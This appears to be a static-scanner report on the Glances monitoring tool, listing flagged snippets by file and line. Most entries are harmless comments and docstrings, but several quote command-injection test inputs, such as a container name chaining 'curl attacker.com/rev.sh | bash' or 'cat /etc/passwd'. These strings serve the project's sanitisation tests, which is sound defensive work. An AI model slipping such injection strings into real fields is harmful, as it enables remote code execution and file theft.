| HIGH | tests/test_plugin_load.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_cpu.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_processcount.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_mem.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_network.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests/test_plugin_fs.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests/test_plugin_diskio.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests/test_plugin_sensors.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests-data/issues/issue3319.py | 0 | exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defa | STRING |
| HIGH | tests-data/issues/issue3290.py | 0 | exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defa | STRING |
| HIGH | glances/globals.py | 0 | exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defa | STRING |
| HIGH | glances/plugins/plugin/model.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/system/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/now/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/cloud/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/uptime/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH⚡ | tests/test_actions_sanitize.py | 57 | d = {'name': 'web && curl evil.com'} | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 75 | d = {'name': 'foo|bar && baz > qux >> end'} | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 117 | d = {'meta': {'k': 'a|b && c > d'}} | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 178 | 'name': 'web && curl attacker.com/rev.sh | bash && echo ', | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 236 | assert secure_popen('echo -n A && echo -n B') == 'AB' | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 306 | mustache_dict={'name': 'web && cat /etc/passwd'}, | CODE |
| HIGH⚡ | tests/test_actions_sanitize.py | 176 | """Simulate: container name contains && to chain commands.""" | STRING |
| HIGH⚡ | tests/test_plugin_virsh_injection.py | 91 | assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created' | CODE |
| HIGH⚡ | tests/test_plugin_virsh_injection.py | 133 | assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created' | CODE |
| HIGH⚡ | tests/test_plugin_virsh_injection.py | 166 | domain = 'foo && touch /tmp/should-not-happen | tee >x' | CODE |
| HIGH | tests/test_plugin_virsh_injection.py | 184 | domain = 'titletest && cmd | x > y unique-arg-shape' | CODE |
| HIGH⚡ | tests/test_amp_secure_popen.py | 55 | result = secure_popen('echo -n A && echo -n B', allow_operators=False) | CODE |
| HIGH | glances/plugins/containers/__init__.py | 539 | # Only process if stats exist (and non null) and display plugin enable... | COMMENT |
| HIGH | glances/plugins/vms/__init__.py | 213 | # Only process if stats exist (and non null) and display plugin enable... | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_core.py | 91 | CODE | |
| LOW | tests/test_main.py | 18 | CODE | |
| LOW | tests/test_restful.py | 116 | CODE | |
| LOW | tests-data/tools/csvcheck.py | 15 | CODE | |
| LOW | glances/stats_client.py | 32 | CODE | |
| LOW | glances/standalone.py | 33 | CODE | |
| LOW | glances/web_list.py | 31 | CODE | |
| LOW | glances/config.py | 201 | CODE | |
| LOW | glances/config.py | 354 | CODE | |
| LOW | glances/globals.py | 302 | CODE | |
| LOW | glances/globals.py | 430 | CODE | |
| LOW | glances/globals.py | 530 | CODE | |
| LOW | glances/globals.py | 677 | CODE | |
| LOW | glances/globals.py | 746 | CODE | |
| LOW | glances/globals.py | 770 | CODE | |
| LOW | glances/client.py | 157 | CODE | |
| LOW | glances/__init__.py | 125 | CODE | |
| LOW | glances/servers_list_static.py | 27 | CODE | |
| LOW | glances/stats.py | 148 | CODE | |
| LOW | glances/ports_list.py | 28 | CODE | |
| LOW | glances/amps/amp.py | 58 | CODE | |
| LOW | glances/amps/systemv/__init__.py | 54 | CODE | |
| LOW | glances/amps/systemd/__init__.py | 57 | CODE | |
| LOW | glances/plugins/memswap/__init__.py | 70 | CODE | |
| LOW | glances/plugins/wifi/__init__.py | 139 | CODE | |
| LOW | glances/plugins/processlist/__init__.py | 1015 | CODE | |
| LOW | glances/plugins/sensors/__init__.py | 200 | CODE | |
| LOW | glances/plugins/sensors/__init__.py | 215 | CODE | |
| LOW | glances/plugins/sensors/__init__.py | 355 | CODE | |
| LOW | glances/plugins/gpu/cards/arm.py | 203 | CODE | |
| LOW | glances/plugins/gpu/cards/arm.py | 295 | CODE | |
| LOW | glances/plugins/plugin/model.py | 345 | CODE | |
| LOW | glances/plugins/plugin/model.py | 472 | CODE | |
| LOW | glances/plugins/plugin/model.py | 803 | CODE | |
| LOW | glances/plugins/plugin/model.py | 904 | CODE | |
| LOW | glances/plugins/plugin/model.py | 1306 | CODE | |
| LOW | glances/plugins/plugin/model.py | 1309 | CODE | |
| LOW | glances/plugins/npu/cards/intel.py | 94 | CODE | |
| LOW | glances/plugins/npu/cards/rockchip.py | 90 | CODE | |
| LOW | glances/plugins/npu/cards/amd.py | 98 | CODE | |
| LOW | glances/plugins/system/__init__.py | 82 | CODE | |
| LOW | glances/plugins/system/__init__.py | 182 | CODE | |
| LOW | glances/plugins/system/__init__.py | 228 | CODE | |
| LOW | glances/plugins/raid/__init__.py | 68 | CODE | |
| LOW | glances/plugins/percpu/__init__.py | 143 | CODE | |
| LOW | glances/plugins/folders/__init__.py | 98 | CODE | |
| LOW | glances/plugins/containers/engines/podman.py | 78 | CODE | |
| LOW | glances/plugins/containers/engines/lxd.py | 164 | CODE | |
| LOW | glances/plugins/ports/__init__.py | 173 | CODE | |
| LOW | glances/exports/export.py | 163 | CODE | |
| LOW | glances/exports/export.py | 263 | CODE | |
| LOW | glances/exports/export.py | 297 | CODE | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 35 | CODE | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 121 | CODE | |
| LOW | glances/exports/glances_clickhouse/__init__.py | 199 | CODE | |
| LOW | glances/exports/glances_timescaledb/__init__.py | 90 | CODE | |
| LOW | glances/exports/glances_mqtt/__init__.py | 111 | CODE | |
| LOW | glances/exports/glances_duckdb/__init__.py | 94 | CODE | |
| LOW | glances/outputs/glances_stdout_issue.py | 65 | CODE | |
| LOW | glances/outputs/glances_curses_browser.py | 148 | CODE | |
| 4 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_core.py | 341 | # Check if number of processes in the list equal counter | COMMENT |
| LOW | tests/test_core.py | 990 | # Check if history_max_size=3 is OK | COMMENT |
| LOW⚡ | tests/test_core.py | 1130 | # Set field to 0 (should be hidden) | COMMENT |
| LOW⚡ | tests/test_core.py | 1136 | # Set field to 0 (should be hidden) | COMMENT |
| LOW⚡ | tests/test_core.py | 1142 | # Set field to 1 (should not be hidden) | COMMENT |
| LOW | tests/test_export_prometheus.sh | 17 | # Check if we can access the Prometheus metrics endpoint | COMMENT |
| LOW | tests/test_restful.py | 90 | # Check if result of first call is equal to second call | COMMENT |
| LOW | glances/web_list.py | 98 | # Add the server to the list | COMMENT |
| LOW | glances/events_list.py | 158 | # Check if the weight is > to the minimal threshold value | COMMENT |
| LOW | glances/events_list.py | 306 | # Add the event to the list | COMMENT |
| LOW | glances/logger.py | 86 | # Check if a specific configuration is available | COMMENT |
| LOW | glances/processes.py | 839 | # Check if a specific sort should be done | COMMENT |
| LOW | glances/servers_list_static.py | 76 | # Add the server to the list | COMMENT |
| LOW | glances/stats.py | 49 | # Check if the attribute starts with 'get' | COMMENT |
| LOW | glances/folder_list.py | 85 | # Add the item to the list | COMMENT |
| LOW | glances/ports_list.py | 94 | # Add the server to the list | COMMENT |
| LOW | glances/plugins/sensors/__init__.py | 382 | # Add sensor to the list | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1168 | # Check if a shortname is defined | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1176 | # Check if unit is defined and get the short unit char in the unit_sort dict | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1187 | # Check if unit is defined and get the unit type unit_type dict | COMMENT |
| LOW | glances/plugins/plugin/model.py | 1317 | # Check if the field exist (avoid error on some OS where some fields are not available) | COMMENT |
| LOW | glances/plugins/folders/__init__.py | 81 | # Check if the glances_folder instance is init | COMMENT |
| LOW | glances/plugins/vms/engines/virsh.py | 22 | # Check if virsh binary exist | COMMENT |
| LOW | glances/plugins/vms/engines/multipass.py | 20 | # Check if multipass binary exist | COMMENT |
| LOW | glances/exports/export.py | 234 | # Add the measurement to the list | COMMENT |
| LOW | glances/exports/glances_graph/__init__.py | 52 | # Check if output folder is writeable | COMMENT |
| LOW⚡ | glances/outputs/glances_restful_api.py | 809 | # Check if JWT is available | COMMENT |
| LOW⚡ | glances/outputs/glances_restful_api.py | 816 | # Check if password authentication is enabled | COMMENT |
| LOW | glances/outputs/glances_stdout_issue.py | 122 | # Display the result | COMMENT |
| LOW | glances/outputs/glances_stdout_csv.py | 130 | # Check if the plugin exist and is enable | COMMENT |
| LOW | glances/outputs/glances_stdout.py | 57 | # Check if the plugin exist and is enable | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_export_timescaledb_list.py | 21 | CODE | |
| LOW | glances/globals.py | 19 | CODE | |
| LOW | glances/globals.py | 23 | CODE | |
| LOW | glances/globals.py | 29 | CODE | |
| LOW | glances/globals.py | 30 | CODE | |
| LOW | glances/globals.py | 30 | CODE | |
| LOW | glances/globals.py | 30 | CODE | |
| LOW | glances/globals.py | 34 | CODE | |
| LOW | glances/globals.py | 34 | CODE | |
| LOW | glances/globals.py | 35 | CODE | |
| LOW | glances/globals.py | 35 | CODE | |
| LOW | glances/globals.py | 36 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | tests/test_browser_tui.py | 379 | # The password should remain as 'placeholder' (not replaced by saved hash) | COMMENT |
| LOW⚡ | tests/test_browser_tui.py | 300 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 317 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 374 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 380 | assert server['password'] == 'placeholder' | CODE |
| LOW⚡ | tests/test_browser_tui.py | 392 | 'password': 'placeholder', | CODE |
| LOW⚡ | tests/test_browser_tui.py | 398 | assert server['password'] == 'placeholder' | CODE |
| LOW | docs/_static/glances-flame.html | 344 | */t=e.nmd(t),function(){var i,o="Expected a function",u="__lodash_hash_undefined__",a="__lodash_placeholder__",c=16,f=3 | COMMENT |
| LOW | glances/outputs/static/public/glances.js | 22 | */t=r.nmd(t),function(){var i,o="Expected a function",s="__lodash_hash_undefined__",a="__lodash_placeholder__",l=16,c=3 | COMMENT |
| LOW | glances/outputs/static/public/browser.js | 16 | */t=r.nmd(t),function(){var i,o="Expected a function",s="__lodash_hash_undefined__",a="__lodash_placeholder__",l=16,c=3 | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | glances/jwt_utils.py | 61 | Create a JWT access token for the given username. Args: username: The username to encode in the tok | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_plugin_lxd.py | 46 | CODE | |
| LOW | glances/plugins/plugin/model.py | 803 | CODE | |
| LOW | glances/outputs/glances_bars.py | 27 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests-data/issues/issue3341-NATS/pub.py | 18 | # To run this test script, make sure you have a NATS server running locally. | COMMENT |
| LOW | tests-data/issues/issue3341-NATS/sub.py | 32 | # To run this test script, make sure you have a NATS server running locally. | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | glances/globals.py | 726 | # Otherwise just add the current char | COMMENT |
| MEDIUM | glances/exports/export.py | 255 | """Return fields description in order to init stats in a server.""" | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | glances/gpu_percent.py | 1 | __all__ = ["get_gpu_mem", "get_gpu_proc", "gpu_mem", "gpu_proc"] | CODE |
| LOW | glances/cpu_percent.py | 19 | __all__ = ["cpu_percent"] | CODE |